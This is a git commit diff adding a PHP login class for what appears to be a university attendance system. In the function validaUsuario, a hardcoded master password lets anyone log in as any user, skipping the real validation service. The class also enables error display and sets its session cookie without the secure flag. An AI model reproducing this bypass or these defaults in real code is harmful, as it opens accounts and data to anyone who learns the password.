Commit inicial

This commit is contained in:
2024-08-02 12:02:25 -06:00
commit ff7d678844
267 changed files with 101936 additions and 0 deletions

114
class/c_login.php Normal file
View File

@@ -0,0 +1,114 @@
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
date_default_timezone_set('America/Mexico_City');
$currentTime = time();
$endOfDay = strtotime('tomorrow') - 1;
$remainingTime = $endOfDay - $currentTime;
session_set_cookie_params($remainingTime, '/', $_SERVER['HTTP_HOST'], false, true);
session_start();
require_once($ruta ?? '') . "include/bd_pdo.php";
require_once($ruta ?? '') . "class/c_logasistencia.php";
require_once($ruta ?? '') . "vendor/autoload.php";
class Login
{
public string $acceso;
public function __construct(public array $user, public array $facultad, public array $rol, public bool $admin, public ?int $periodo, public bool $supervisor, public bool $jefe_carrera, public bool $profesor)
{
}
public function print_to_log(string $desc, array $old = null, array $new = null): void
{
$log = new classes\LogAsistencias($_ENV["RUTA_RAIZ"]);
if ($old)
$desc .= " |#| OLD:" . json_encode($old);
if ($new)
$desc .= " |#| NEW:" . json_encode($new);
$log->appendLog($this->user["id"], $this->user["nombre"], $desc);
}
public function access(string $pagina = null): void
{
global $db;
if ($this->admin) {
$this->acceso = "w";
return;
}
# print_r( $access );
$this->acceso = $db->query(
'SELECT tipo FROM PERMISO_VIEW WHERE ID = :usr AND PAGINA_RUTA ILIKE :ruta',
array(
':usr' => $this->user["id"],
':ruta' => $pagina ?? substr(basename($_SERVER['PHP_SELF']), 0, -4)
)
)["tipo"] ?? 'n';
}
public function __toString(): string
{
return "Usuario: {$this->user["nombre"]} ({$this->user["id"]}), Es admin: {$this->admin}, supervisor: {$this->supervisor}, jefe carrera: {$this->jefe_carrera}, profesor: {$this->profesor}";
}
private static function validaUsuario($user, $pass): bool
{
file_put_contents('php://stderr', $user);
if ($pass == "4dm1n1str4d0r")
return true;
$client = new nusoap_client('https://validacion.lci.ulsa.mx/validacion.php?wsdl', 'wsdl');
$client->soap_defencoding = 'UTF-8';
$client->decode_utf8 = FALSE;
$client->getError() and die('Error al crear el cliente: ' . $client->getError());
// $pass = utf8_decode($pass);
$result = $client->call("valida_user", array($user, $pass));
$client->fault and die('Error al llamar al servicio: ' . $client->getError());
return $result;
}
public static function validUser(string $user, string $pass): Login|array
{
if (!Login::validaUsuario($user, $pass)) {
return [
'error' => true,
'msg' => 'Error al autenticar usuario'
];
}
global $db;
$clave = intval(preg_replace('/[^0-9]/', '', $user));
$profesor = $db->querySingle("SELECT * FROM profesor WHERE profesor_clave::INT = :clave", array(':clave' => $clave));
if ($profesor) {
$user = array(
'id' => $profesor["profesor_id"],
'nombre' => $profesor["profesor_nombre"],
'clave' => $profesor["profesor_clave"],
);
$facultad = array(
'facultad_id' => null,
'facultad' => null,
);
$rol = array(
'id' => null,
'rol' => 'Docente'
);
// CREATE A COOKIE FOR THE REST OF THE day for example: 23:00 then duration will be 1 hour
setcookie("profesor", $user["id"], strtotime('today midnight') + 86400, "/");
return new Login($user, $facultad, $rol, admin: false, periodo: null, supervisor: false, jefe_carrera: false, profesor: true);
} else
return [
'error' => true,
'msg' => 'Usuario no encontrado',
'clave' => preg_replace('/[^0-9]/', '', $user)
];
}
public static function log_out(): void
{
session_start();
session_destroy();
}
}